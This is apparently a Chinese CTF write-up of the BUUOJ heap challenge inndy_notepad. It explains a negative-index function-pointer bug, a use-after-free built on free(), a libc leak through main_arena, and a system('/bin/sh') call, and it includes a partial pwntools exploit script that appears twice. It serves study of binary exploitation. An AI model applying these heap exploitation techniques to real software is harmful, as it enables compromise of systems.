-
-
[原创]一个堆题inndy_notepad的练习笔记
-
发表于: 2021-10-6 10:53 30356
-
对于堆的恐惧来自堆复杂的管理机制(unsorted,fastbin,small,large bin看着都头大),相较于栈(压入弹出)来说复杂太多了,再加上使用GDB调试学习堆时,每次堆分配时,调试起来相当的麻烦,所以一直都是理论学习,堆不敢碰不敢尝试。
今日小明同学终于排除了心中对堆的恐惧,在高铁上尝试了一下堆,熟悉了堆的分配机制。
题目来自buu[https://buuoj.cn/challenges#inndy_notepad]。
查看文件类型,32位,没有去掉符号( not stripped,很开心,省去了猜函数的“乐趣”)
查看保护机制,一些直观的映像见下面注释
拖入IDA,查看字符串(shift+f12),没有system,没有/bin/sh
(难受,需要泄露libc地址)。
至此,一些最直观、最简单的分析完毕。我们可以得到以下信息:
本程序是32位程序,每次加载时地址固定,如果存在栈溢出,需要考虑canary check的问题,并且溢出之后不能在数据区(栈、bss段)布局shellcode,因为数据区不可执行,所以需要通过ROP实现我们的意图。同时,程序本身不存在system和/bin/sh
,需要通过泄露libc的地址来获取我们需要的libc中的函数(如system)。
好了,下面开始找茬吧
包含循环,从函数名看是一个菜单显示加功能选择。有四个函数
menu函数中,我们可以控制menu函数的返回值!看似可疑的两个函数cmd和bash貌似没毛病,往后看。
包含6个函数:
大致通过注释解释了一下分析过程,后面不再进行详细的分析。这里需要留意的地方是:这里的函数(notepad_show,notepad_destory)指针放在了堆上,如果我们能够溢出覆盖到这两个函数指针,岂不是就可以控制EIP执行我们想要执行的流程了吗?(初步感觉,实际上并不是溢出,只是分析时存在利用的可能性)可以看出通过size控制输入的长度,但并不存在溢出的机会。接着看下面
在这里使用了menu函数。还记得前面我们分析的结构,我们可以控制这个函数的输出吗?控制了这个值后,我们就间接控制了上图menu函数下面的这个函数指针(*(&v3->p_func_show + v0 - 1))(v3);
这个函数的参数是这个块的首地址(不受控制)。所以这里我们可以分析得出:
这个函数中通过id释放了相应的note,并且清空了相应的指针,堵住了UAF的路。
等等!!UAF,我们不是能够控制一个函数指针吗?参数正好是分配的堆块地址!我们可以控制这个函数指针为free,释放掉当前块,并且没有清空指针的操作!一个野指针就这么诞生了,UAF!
至此,一个邪恶的计划产生了!
生成两个大小相同的堆块A和B(这两个堆块相邻哦);对于A,我们填充其内容,使其包含free函数的地址;对于B,我们使用menu的返回值(负数),控制函数指针指向A内容中的free函数地址,这样我们可以控制函数指针指向free(此时参数是B的首地址),这样通过操作B就可以free掉B自己。重要的是,虽然此时B已经被free掉了,但是因为我们还控制着指向B的指针,所以我们还能操控B,这很重要(use after free)。
B现在被free掉了,躺在unsortedbin中,但是这有什么用呢?如果我们能让A覆盖到B就好了。可以吗?可以的!!这里用到了堆分配中的一个知识点:当相同大小的堆块释放时,会被放入同一个类型bin上。所以,此时如果我们free掉A,那么他们就同时躺在unsortedbin中了(此时他们会被合并!另一个知识点)。此时,我们使用一个大于堆A,小于A+B的大小,malloc一个块,此时返回的地址就是A的地址(称为A'),但是范围却覆盖到了B。至此我们就能控制B的内容了,比如通过重新分配出来的A',覆盖B的首地址位置,输入'/bin/sh'。
但是,现在我们还差个system函数啊?libc的地址还没有获取到呢?另一个堆的知识点(真多,麻木!)linux使用free进行内存释放时,不大于64B的块会先放入fastbin,大于64的块会放入unsortedbin。如果fastbin为空时,unsortedbin中第一个块的fd和bk指针指向自身的main_arena中。而main_arena在libc中,利用这个点,我们可以泄露libc的地址。怎么弄呢?在第一步中,如果我们的B的size大于64(本例中0x60),那么在free时,就会直接被放入unsortedbin,此时fastbin中没有数据,那么B的数据区的前两个DWORD就是fd和bk,指向libc中的main_arena+48(针对本例chunk大小ox60)的位置。而main_arena在libc中是固定偏移的,我们用IDA打开libc,找到malloc_trim函数,如下图高亮位置就是偏移量,本例中是0x1b3780。至此我们可以获得libc的地址,通过偏移,我们可以找到system的地址。
终于,我们邪恶艰难的计划有了雏形。
下面就是执行了
首先,套路
首先分配4个块。等等!!前面不是说两个块,一个A,一个B吗?这里堆的另一个知识点,为了提高内存的利用率,堆在释放时,会检查他的上一个块,如果这个块是TOP chunk的话,就会与其进行合并(这样我们的块就丢了,再分配时会从TOP chunk上切一块给你,不受控制),所以为了保证我们的块不被不受控制的合并,我们在A和B的上下添加了一个块(0和3),如下:
其中,参数0x60是note内容的大小,是为了保证堆块在释放时能被放入unsorted bin。
然后,我们填充A,使得其内容包含free函数指针;控制B中的指针(利用menu没有检查返回值的下界的问题)
如上图所示,A块起始位置0x9579078,,B块起始位置0x95790f0。块首的两个dword(4bytes)为堆块的头部。我们的free函数地址填充到了0x95790ec,此时我们可控的函数指针位置在0x95790f8,中间相差3个dword(因此然后menu返回-3,就可以调用到我们放入的指针),至此我们可以控制free函数,释放0x95790f0位置的块B(在unsortedbin中fb和bk为main_arena+48)。
此时,我们再通过程序提供的函数释放掉A
如下图,我们发现出现了A和B的合并,那个size=0xf1的块就是
此时我们再将A malloc出来,填充数据,内容包含puts的函数指针,大小为0xf1的哪个就是了,我们称为A’,现在A'中包含了puts的地址。
为什么两个size=0x60释放后是size=0xf1.
pre_size字段,如果上一个块处于释放状态,用于表示其大小,否则上一个块处于使用状态时,pre_size为上一个块的一部分,用于保存上一个块的数据。可以通过观察0x9579168地址处验证
可以看到B块在unsortedbin中走了一遭后,0x95790f0+8位置变为了0xf7f747b0(main_arena+48)。再次强调B块的指针我们是知道的!此时,我们通过控制的指针指向puts函数打印B起始地址的内容,就可以得到main_arena+48的地址,结合main_arena在libc中的偏移(前文提到,高亮的哪个)就可以计算出libc的地址,从而获得system的地址。
最后,我们要写入/bin/sh
到B起始的位置。相同的原理,通过A‘写入数据,内包含system地址和/bin/sh
现在,再次调用noteopen(2, -2),此时,我们的函数指针-2位置为我们填入的system函数,B块的起始位置,放入了/bin/sh
,完美!!
因为我这里用的是自己机器中的libc,所以可能有些差异,但大体上是一样的,libc信息如下。
总的来说,这道题没有用到溢出的知识,但是对于堆的分配、回收(合并)等知识点进行了考察,对我来说,熟悉了堆在GDB调试下的熟练度,克服了一直以来对堆的恐惧,也是一大收获。
但是在学习的过程中依然存在很多问题,很多知识点还是有些模糊,留给后面继续深入吧。
《CTF竞赛权威指南(Pwn篇)》第11章libc概述
# file notepad
notepad: ELF
32
-
bit LSB executable, Intel
80386
, version
1
(SYSV), dynamically linked, interpreter
/
lib
/
ld
-
linux.so.
2
,
for
GNU
/
Linux
2.6
.
32
, BuildID[sha1]
=
65aa4834fcd253be2490ea1dc24a0c582f0cbb6f
,
not
stripped
# file notepad
notepad: ELF
32
-
bit LSB executable, Intel
80386
, version
1
(SYSV), dynamically linked, interpreter
/
lib
/
ld
-
linux.so.
2
,
for
GNU
/
Linux
2.6
.
32
, BuildID[sha1]
=
65aa4834fcd253be2490ea1dc24a0c582f0cbb6f
,
not
stripped
# checksec notepad
Arch: i386
-
32
-
little
RELRO: Partial RELRO
# 可写got
Stack: Canary found
#如果要栈溢出,需要考虑canary的问题
NX: NX enabled
#不可以在栈上,bss段上布局shellcode,因为不可执行
PIE: No PIE (
0x8048000
)
# 很开心,本程序每次加载的地址都是固定的
# checksec notepad
Arch: i386
-
32
-
little
RELRO: Partial RELRO
# 可写got
Stack: Canary found
#如果要栈溢出,需要考虑canary的问题
NX: NX enabled
#不可以在栈上,bss段上布局shellcode,因为不可执行
PIE: No PIE (
0x8048000
)
# 很开心,本程序每次加载的地址都是固定的
menu:
int
__cdecl menu(
int
a1)
{
int
result;
/
/
eax
int
i;
/
/
[esp
+
8h
] [ebp
-
10h
]
int
v3;
/
/
[esp
+
Ch] [ebp
-
Ch]
for
( i
=
0
;
*
(
4
*
i
+
a1);
+
+
i )
printf(
"%c> %s\n"
, i
+
97
,
*
(
4
*
i
+
a1));
printf(
"::> "
);
v3
=
getchar()
-
'a'
;
freeline();
if
( v3 < i )
# 没有检查下界???此时一定要标记出来这个函数有问题,不然后面就忘了 --!
result
=
v3
+
1
;
else
result
=
0
;
return
result;
}
bash:
unsigned
int
bash()
{
char s;
/
/
[esp
+
Ch] [ebp
-
8Ch
]
#128没毛病
unsigned
int
v2;
/
/
[esp
+
8Ch
] [ebp
-
Ch]
v2
=
__readgsdword(
0x14u
);
printf(
"inndy ~$ "
);
fgets(&s,
128
, stdin);
rstrip(&s);
#替换一些特殊字符,没毛病
printf(
"bash: %s: command not found\n"
, &s);
return
__readgsdword(
0x14u
) ^ v2;
}
cmd:
unsigned
int
cmd()
{
char s;
/
/
[esp
+
Ch] [ebp
-
8Ch
]
#128没毛病
unsigned
int
v2;
/
/
[esp
+
8Ch
] [ebp
-
Ch]
v2
=
__readgsdword(
0x14u
);
puts(
"Microhard Wind0ws [Version 3.1.3370]"
);
puts(
"(c) 2016 Microhard C0rporat10n. A11 rights throwed away."
);
puts(&byte_8049371);
printf(
"C:\\Users\\Inndy>"
);
fgets(&s,
128
, stdin);
rstrip(&s);
printf(
"'%s' is not recognized as an internal or external command\n"
, &s);
return
__readgsdword(
0x14u
) ^ v2;
}
notepad:
主要的功能函数,下面分析
menu:
int
__cdecl menu(
int
a1)
{
int
result;
/
/
eax
int
i;
/
/
[esp
+
8h
] [ebp
-
10h
]
int
v3;
/
/
[esp
+
Ch] [ebp
-
Ch]
for
( i
=
0
;
*
(
4
*
i
+
a1);
+
+
i )
printf(
"%c> %s\n"
, i
+
97
,
*
(
4
*
i
+
a1));
printf(
"::> "
);
v3
=
getchar()
-
'a'
;
freeline();
if
( v3 < i )
# 没有检查下界???此时一定要标记出来这个函数有问题,不然后面就忘了 --!
result
=
v3
+
1
;
else
result
=
0
;
return
result;
}
bash:
unsigned
int
bash()
{
char s;
/
/
[esp
+
Ch] [ebp
-
8Ch
]
#128没毛病
unsigned
int
v2;
/
/
[esp
+
8Ch
] [ebp
-
Ch]
v2
=
__readgsdword(
0x14u
);
printf(
"inndy ~$ "
);
fgets(&s,
128
, stdin);
rstrip(&s);
#替换一些特殊字符,没毛病
printf(
"bash: %s: command not found\n"
, &s);
return
__readgsdword(
0x14u
) ^ v2;
}
cmd:
unsigned
int
cmd()
{
char s;
/
/
[esp
+
Ch] [ebp
-
8Ch
]
#128没毛病
unsigned
int
v2;
/
/
[esp
+
8Ch
] [ebp
-
Ch]
v2
=
__readgsdword(
0x14u
);
puts(
"Microhard Wind0ws [Version 3.1.3370]"
);
puts(
"(c) 2016 Microhard C0rporat10n. A11 rights throwed away."
);
puts(&byte_8049371);
printf(
"C:\\Users\\Inndy>"
);
fgets(&s,
128
, stdin);
rstrip(&s);
printf(
"'%s' is not recognized as an internal or external command\n"
, &s);
return
__readgsdword(
0x14u
) ^ v2;
}
notepad:
主要的功能函数,下面分析
menu
函数负责显示菜单,并且根据输入选择执行功能。前面提到,这个函数可以输出一个负数,但是貌似在这没有什么用!跳过
notepad_new
见下面
notepad_open
见下面
notepad_delete
见下面
notepad_rdonly
用于分析note struct字段
notepad_keepsec
用于分析note struct字段
menu
函数负责显示菜单,并且根据输入选择执行功能。前面提到,这个函数可以输出一个负数,但是貌似在这没有什么用!跳过
notepad_new
见下面
notepad_open
见下面
notepad_delete
见下面
notepad_rdonly
用于分析note struct字段
notepad_keepsec
用于分析note struct字段
#!/usr/bin/python
#coding:utf-8
from
pwn
import
*
from
LibcSearcher
import
*
context(arch
=
"amd64"
, os
=
"linux"
)
context.log_level
=
'debug'
context.terminal
=
[
'terminator'
,
'-x'
,
'sh'
,
'-c'
]
#
#--------------------
# 连接选项
#--------------------
is_local
=
1
local_path
=
'./notepad'
addr
=
'node4.buuoj.cn'
port
=
25207
if
is_local:
io
=
process(local_path)
else
:
io
=
remote(addr,port)
#--------------------
# 调试选项
#--------------------
def
debug(cmd):
gdb.attach(io, cmd)
# pause()
#--------------------
# 常用函数
#--------------------
se
=
lambda
data :io.send(data)
sa
=
lambda
delim,data :io.sendafter(delim, data)
sl
=
lambda
data :io.sendline(data)
sla
=
lambda
delim,data :io.sendlineafter(delim, data)
rc
=
lambda
num :io.recv(num)
rl
=
lambda
:io.recvline()
ra
=
lambda
:io.recvall()
ru
=
lambda
delims :io.recvuntil(delims)
uu32
=
lambda
data :u32(data.ljust(
4
,
'\x00'
))
uu64
=
lambda
data :u64(data.ljust(
8
,
'\x00'
))
info
=
lambda
tag, addr :log.info(tag
+
" -> "
+
hex
(addr))
ia
=
lambda
:io.interactive()
halt
=
lambda
:io.close()
elf
=
ELF(local_path)
libc
=
ELF(
'./libc.so'
)
p_free_plt
=
elf.plt[
'free'
]
p_puts_plt
=
elf.plt[
'puts'
]
p_
=
elf.symbols[
'main'
]
def
notepad_new(size, data):
sla(b
'::>'
, b
'a'
)
sla(b
'size >'
,
str
(size).encode(
'utf-8'
))
sla(b
'data >'
, data)
# sleep(0.1)
def
notepad_open(
id
, offset):
sla(b
'::>'
, b
'b'
)
sla(b
'id >'
,
str
(
id
).encode(
'utf-8'
))
sla(b
'(Y/n)'
, b
'n'
)
sla(b
'::>'
,
chr
(
ord
(
'a'
)
+
offset))
return
ru(b
'note closed'
)
def
notepad_edit(
id
, offset, content):
# 与上面一个open函数的区别是这里可以编辑内容
sla(b
'::>'
, b
'b'
)
sla(b
'id >'
,
str
(
id
).encode(
'utf-8'
))
sla(b
'(Y/n)'
, b
'y'
)
sla(b
'content >'
, content)
ru(b
'note saved'
)
sla(b
'::>'
,
chr
(
ord
(
'a'
)
+
offset))
ru(b
'note closed'
)
def
notepad_delete(
id
):
sla(b
'::>'
, b
'c'
)
sla(b
'id >'
,
str
(
id
).encode(
'utf-8'
))
#!/usr/bin/python
#coding:utf-8
from
pwn
import
*
from
LibcSearcher
import
*
context(arch
=
"amd64"
, os
=
"linux"
)
context.log_level
=
'debug'
context.terminal
=
[
'terminator'
,
'-x'
,
'sh'
,
'-c'
]
#
#--------------------
# 连接选项
#--------------------
is_local
=
1
local_path
=
'./notepad'
addr
=
'node4.buuoj.cn'
port
=
25207
if
is_local:
io
=
process(local_path)
else
:
io
=
remote(addr,port)
#--------------------
# 调试选项
#--------------------
def
debug(cmd):
gdb.attach(io, cmd)
# pause()
#--------------------
# 常用函数
#--------------------
se
=
lambda
data :io.send(data)
sa
=
lambda
delim,data :io.sendafter(delim, data)
sl
=
lambda
data :io.sendline(data)
sla
=
lambda
delim,data :io.sendlineafter(delim, data)
rc
=
lambda
num :io.recv(num)
rl
=
lambda
:io.recvline()
ra
=
lambda
:io.recvall()
ru
=
lambda
delims :io.recvuntil(delims)
uu32
=
lambda
data :u32(data.ljust(
4
,
'\x00'
))
uu64
=
lambda
data :u64(data.ljust(
8
,
'\x00'
))
info
=
lambda
tag, addr :log.info(tag
+
" -> "
+
hex
(addr))
ia
=
lambda
:io.interactive()
halt
=
lambda
:io.close()
elf
=
ELF(local_path)
libc
=
ELF(
'./libc.so'
)
p_free_plt
=
elf.plt[
'free'
]
p_puts_plt
=
elf.plt[
'puts'
]
p_
=
elf.symbols[
'main'
]
def
notepad_new(size, data):
sla(b
'::>'
, b
'a'
)
sla(b
'size >'
,
str
(size).encode(
'utf-8'
))
sla(b
'data >'
, data)
# sleep(0.1)
def
notepad_open(
id
, offset):
sla(b
'::>'
, b
'b'
)
sla(b
'id >'
,
str
(
id
).encode(
'utf-8'
))
sla(b
'(Y/n)'
, b
'n'
)
sla(b
'::>'
,
chr
(
ord
(
'a'
)
+
offset))
return
ru(b
'note closed'
)
def
notepad_edit(
id
, offset, content):
# 与上面一个open函数的区别是这里可以编辑内容
sla(b
'::>'
, b
'b'
)
sla(b
'id >'
,
str
(
id
).encode(
'utf-8'
))
sla(b
'(Y/n)'
, b
'y'
)
sla(b
'content >'
, content)
ru(b
'note saved'
)
sla(b
'::>'
,
chr
(
ord
(
'a'
)
+
offset))
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)